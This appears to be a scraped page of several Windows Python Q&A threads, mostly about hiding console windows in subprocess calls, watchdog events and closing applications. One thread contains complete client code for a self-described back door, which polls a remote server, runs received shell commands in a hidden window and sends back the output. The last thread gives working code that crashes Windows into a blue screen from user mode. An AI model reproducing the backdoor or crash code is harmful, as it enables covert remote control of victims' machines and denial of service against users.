prevent pydub from opening console window - windows

Is there a way to prevent pydub from opening a console window when using ffmpeg (on Windows) ? Each time it launches ffmpeg to convert a mp3 file to wav, it briefly opens a console window that shuts down automatically when process is done but can be disturbing.

The solution I am using is to overload the from_file function. I just changed subprocess call, adding option startupinfo. Here are the few lines I added:
import platform
systeme = platform.system()
if systeme == 'Windows':
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE
p = subprocess.Popen(conversion_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, startupinfo=startupinfo)
else:
p = subprocess.Popen(conversion_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)`

You can modify the source code and recompile it at runtime.
# Created by BaiJiFeiLong#gmail.com at 2022/2/18 22:09
import importlib.util
import re
import sys
import types
import pydub
from IceSpringPathLib import Path
for moduleName in "pydub.utils", "pydub.audio_segment":
spec = importlib.util.find_spec(moduleName, None)
source = spec.loader.get_source(moduleName)
snippet = "__import__('subprocess').STARTUPINFO(dwFlags=__import__('subprocess').STARTF_USESHOWWINDOW)"
source, n = re.subn(r"(Popen)\((.+?)\)", rf"\1(\2, startupinfo=print('worked') or {snippet})", source, flags=re.DOTALL)
module = importlib.util.module_from_spec(spec)
exec(compile(source, module.__spec__.origin, "exec"), module.__dict__)
sys.modules[moduleName] = module
module = importlib.reload(sys.modules["pydub"])
for k, v in module.__dict__.items():
if isinstance(v, types.ModuleType):
setattr(module, k, importlib.import_module(v.__name__))
pydub.audio_segment.AudioSegment.from_file(Path("~/Music").expanduser().glob("**/*.mp3").__next__())

I do the following in any script which uses pydub:
Add import subprocess before import pydub
Then, just before I use pydub in the script I add:
if subprocess.mswindows: subprocess.STARTUPINFO.dwFlags |= subprocess.STARTF_USESHOWWINDOW
This tells any subprocess call from that script (whether or not through a pydub instruction) to not display a window by default, but to look to another flag called wShowWindow to decide whether to display. As that flag is 0 by default, the window isn't shown.
note: dwFlags is no longer a class attribute but an instance attribute of STARTUPINFO (on newer Python versions like 3.9) therefore this answer isn't working for new versions. A STARTUPINFO() object must be created.

Related

python program packed by Pyinstaller shows blinking window on windows

I am trying to write a back door program with python.
I design the program with client-server architecture.
Here is the code of client.
from subprocess import PIPE, Popen, CREATE_NO_WINDOW
from typing import List, Optional
from datetime import datetime
from time import sleep
from threading import Thread
from socket import socket, AF_INET, SOCK_DGRAM
from getmac import get_mac_address as gma
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SERVER_PORT = 8080
SERVER_ADDRESS = 'https://example.com:' + str(SERVER_PORT)
def get_ip() -> str:
s = socket(AF_INET, SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
def get_mac() -> str:
return gma().replace(':', '')
def announce() -> List[str]:
requests.post(f'{SERVER_ADDRESS}/announce/{get_id()}', verify=False)
def get_id() -> str:
return get_ip() + '_' + get_mac()
def get_command() -> Optional[List[str]]:
try:
r = requests.get(f'{SERVER_ADDRESS}/command/{get_id()}', verify=False)
except requests.exceptions.ConnectionError:
print('Connection to server error.')
return None
if r.status_code == 200:
r = json.loads(r.text)
status = int(r['status'])
if status == 1:
print(f'Get a command from server.')
return r['command']
else:
return None
else:
print(f'Server returned status code {r.status_code}.')
print(f'Here is the response from server:\n{r.text}')
print()
def run_command():
while True:
command = get_command()
if command is not None:
p = Popen(command, shell=True, stdout=PIPE, stderr=PIPE, creationflags=CREATE_NO_WINDOW)
stdout, stderr = p.communicate()
data = {
'command': command,
'result': stdout.decode() + stderr.decode(),
'timestamp': datetime.now().strftime('%Y.%m.%d %H:%M:%S'),
}
requests.post(f'{SERVER_ADDRESS}/result/{get_id()}', json=data, verify=False)
sleep(5)
announce()
Thread(target=run_command).start()
The program runs well and I pack the python file to exe file with PyInstaller with the following command on windows.
pyinstaller -F -w program.py
-F for one-file
-w for window hidding
The packed program(exe file) runs well, but a windows terminal window shows with about 1Hz frequency. The behavior is strange and I need help.
The blinking window is NOT caused by subprocess because the window keep blinking even if I don't give any command to client.
I have googled the problem for a short time, but there is nothing helpful. I don't know the reason why the window keep blinking, and I think that is the point to explain why I just find nothing.

Python Watchdog Custom Event Handler Not Firing Correctly

I'm using Python's watchdog module to listen for created events on a certain directory. Where I do some processing on newly created .csv files. When I test my code with nothing in the handler the watchdog fires correctly for all pasted/created files, but when I add my code/logic inside the handler it fires less than expected (52/60 files for example).
OS used: Windows 10, code is expected to work on a Windows server.
Python version: 3.7.3
Code:
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
import pandas as pd
import numpy as np
from error_handling import ErrorHandler
import os
from timeloop import Timeloop
from datetime import timedelta
import json
from fill_data import OnMyWatch2
class OnMyWatch:
# Set the directory on watch
watchDirectory = "."
def __init__(self):
self.observer1 = Observer()
def run(self):
self.observer1.schedule(Handler() , self.watchDirectory, recursive = True)
self.observer1.start()
try:
while True:
time.sleep(1)
except:
self.observer1.stop()
print("Observer Stopped")
self.observer1.join()
class Handler(FileSystemEventHandler):
#staticmethod
def on_any_event(event):
if event.is_directory:
return None
elif event.event_type == 'created':
try:
# Event is created, you can process it now
print("Watchdog received created event - % s." % event.src_path)
pathlower = str(event.src_path).lower()
if ".csv" in pathlower:
print("File is csv file")
# Once any code is added here the problem happens
# Example:
# df = pd.read_csv(event.src_path, names= ALL_INI.columnlistbundle.split("|"), sep="|", encoding='latin-1', engine='python')
# arraySelectedColumnsBundle = ALL_INI.selectedcolumnsbundle.split(",")
# bundle_df = df[np.array(arraySelectedColumnsBundle)]
else:
print("File is not csv file")
except Exception as e:
ErrorHandler(0, 'In Observer ', '-7', 'Exception ' + str(e), '', 1, '')
if __name__ == '__main__':
if os.path.isdir("."):
watch = OnMyWatch()
watch.run()

subprocess sometimes sends returns empty

I have the following class that is used to run a third party command line tool which I have no control over.
I run this ina Qthread in a PyQt Gui.
I turn the gui into an EXE using Pyinstaller
Problems are more prevalent when it is an EXE
class CLI_Interface:
def process_f(self, command, bsize=4096):
self.kill_process(CLI_TOOL)
startupinfo = STARTUPINFO()
startupinfo.dwFlags |= STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
p = Popen(command, stdout=PIPE, stderr=PIPE,
startupinfo=startupinfo, bufsize=bsize, universal_newlines=True)
try:
out, err = p.communicate(timeout=120)
except TimeoutExpired:
p.kill()
out, err = p.communicate()
return out.split(), err.split()
def kill_process(self, proc):
# Check process is running, Kill it if it is,
# return False if not.
# uses its own popen for Stderr >> stdout
# If we use the self.process_f method, it will create an infinite loop
startupinfo = STARTUPINFO()
startupinfo.dwFlags |= STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
try:
kill_proc = Popen("TaskKill /IM {} /T /F".format(proc), stdout=PIPE, stderr=STDOUT,
startupinfo=startupinfo, universal_newlines=True).communicate()[0]
if 'ERROR' not in kill_proc.split():
return True # Process Killed
else:
self.kill_process(proc)
except Exception as e:
return False
def download_data(self, code):
""" download data from the device based on a 5 digit code """
command = '"{}" -l {},{} {}'.format(CLI_TOOL_PATH,
code[0], code[2], code[1])
try:
p = self.process_f(command)
proc, err = p[0], p[1]
try:
if err[-2] == '-p':
return False
return True
except IndexError:
if not proc:
return False # This means there is no data but the file is still saved!!
pass
return True
except Exception as e:
return False
def ....
def ....
def ....
Thread:
class GetDataThread(QThread):
taskFinished = pyqtSignal()
notConnected = pyqtSignal()
def __init__(self, f, parent=None):
super(GetDataThread, self).__init__(parent)
self.f = f
def run(self):
is_dongle_connected()
DD = cli.download_data(self.f)
if not DD:
self.notConnected.emit()
else:
self.taskFinished.emit()
I either get a done! or error - This is normal when running from the command line.
Sometimes I get an empty list returned and I put this back into a recursive loop after killing the program.
However, it does not seem to restart properly and the problem continues - it gets stuck in a loop of nothing!.
Meanwhile, the csv files the cli tool produces are created as normal yet I have no data from stdout / stderr
Looking at processes the conhost and the cli tool are destroyed no problem.
The gui will continue to fail (until I unplug and plug in the dongle and / or restart the program / computer.
When I open the CLI and run the same command, it works fine or throws an error (which I catch in the program no problem)
I have tried setting a buffer as some files generated can reach 2.4mb
I tried setting a higher timeout to allow for it to finish.
There does not seem to be a correlation with file size though and it can get stuck at any size.
The flow is like so:
Gui >> CLI >> Dongle >> Sensor
Running on Windows 10
How can I make the connection more solid or debug what processes might still be lingering around and stopping this?
Is it blocking?
Is it a pipe buffer overflow? - If so How do I determine the correct bufsize?
Is it something to do with PyQt and Python Subprocess or Pyinstaller?
Would it be better to use QProcess instead of Subprocess?
Thanks in advance!

Terminate application from using Ironpython and ctypes

I am executing Ironpython scripts from a Windows application that has an embedded Ironpython shell. I can launch the application, load a script and start their execution from a (.bat) file. I would like to close the application once the test scripts finish. However, the application vendor has not provided the functionality to close the application programmatically.
My first thought was to use a PIPE to monitor a specific string which will terminate the subprocess. My test script opens up a form which gets populated with data needed for testing. There are other complications which I am not sure how to handle in printing to the PIPE. Any printing goes directly to the application's shell window.
The method I am pursuing is to close the application by making the application's window active. Below is my code which is based on
Python's pywin32 extension
import ctypes
import re
EnumWindows = ctypes.windll.user32.EnumWindows
EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
GetWindowText = ctypes.windll.user32.GetWindowTextW
GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW
IsWindowVisible = ctypes.windll.user32.IsWindowVisible
class my_test():
def __init__ (self):
"""Constructor"""
self._handle = None
self.wildcard = "Program name"
self.titles = []
def foreach_window(self, hwnd, lParam):
'''Pass to EnumWindows() to check all the opened windows'''
if IsWindowVisible(hwnd):
length = GetWindowTextLength(hwnd)
#print 'length', length
buff = ctypes.create_unicode_buffer(1024)
#buff = ctypes.create_unicode_buffer(length + 1)
#print 'buff', buff
GetWindowText(hwnd, buff, length + 1)
self.titles.append(buff.value)
if re.match(self.wildcard, str(buff.value)) != None:
self._handle = hwnd
print 'self._handle', self._handle
print 'str(buff.value)', str(buff.value)
return True
def find_window(self):
EnumWindows(EnumWindowsProc(self.foreach_window), 0)
def set_foreground(self):
"""put the window in the foreground"""
ctypes.windll.user32.SetActiveWindow(self._handle)
ctypes.windll.user32.SetForegroundWindow(self._handle)
ctypes.windll.user32.PostMessage(self._handle, win32con.WM_CLOSE, 0, 0)
def main():
w = my_test()
w.find_window()
w.set_foreground()
I found another discussion on closing application (I think using pywin32 extensions) 2. The author refers to win32process and win32gui. Do these modules have a ctypes equivalent?
I added the following lines to the code.
SendMessage = ctypes.windll.user32.SendMessageW
WM_SYSCOMMAND = ctypes.c_int(0x0112)
SC_CLOSE = ctypes.c_int(0xF060)
Replaced line
ctypes.windll.user32.PostMessage(self._handle, win32con.WM_CLOSE, 0, 0)
with
SendMessage(my_window, WM_SYSCOMMAND, SC_CLOSE, 0)
This works as long as I execute this script in a separate IronPython shell.
taskkill did the trick, see
https://stackoverflow.com/a/6984331/2556944

Is there a way in windows to throw a BSOD on demand from python?

I am making a script to test some software that is always running and I want to test it's recovery from a BSOD. Is there a way to throw a bsod from python without calling an external script or executable like OSR's BANG!
Funny thing. There is Windows kernel function that does just that.
I'm assuming that this is intended behaviour as the function has been ther
The following python code will crash any windows computer from usermode without any additional setup.
from ctypes import windll
from ctypes import c_int
from ctypes import c_uint
from ctypes import c_ulong
from ctypes import POINTER
from ctypes import byref
nullptr = POINTER(c_int)()
windll.ntdll.RtlAdjustPrivilege(
c_uint(19),
c_uint(1),
c_uint(0),
byref(c_int())
)
windll.ntdll.NtRaiseHardError(
c_ulong(0xC000007B),
c_ulong(0),
nullptr,
nullptr,
c_uint(6),
byref(c_uint())
)
i hope this helps (:
import ctypes
ntdll = ctypes.windll.ntdll
prev_value = ctypes.c_bool()
res = ctypes.c_ulong()
ntdll.RtlAdjustPrivilege(19, True, False, ctypes.byref(prev_value))
if not ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(res)):
print("BSOD Successfull!")
else:
print("BSOD Failed...")

Resources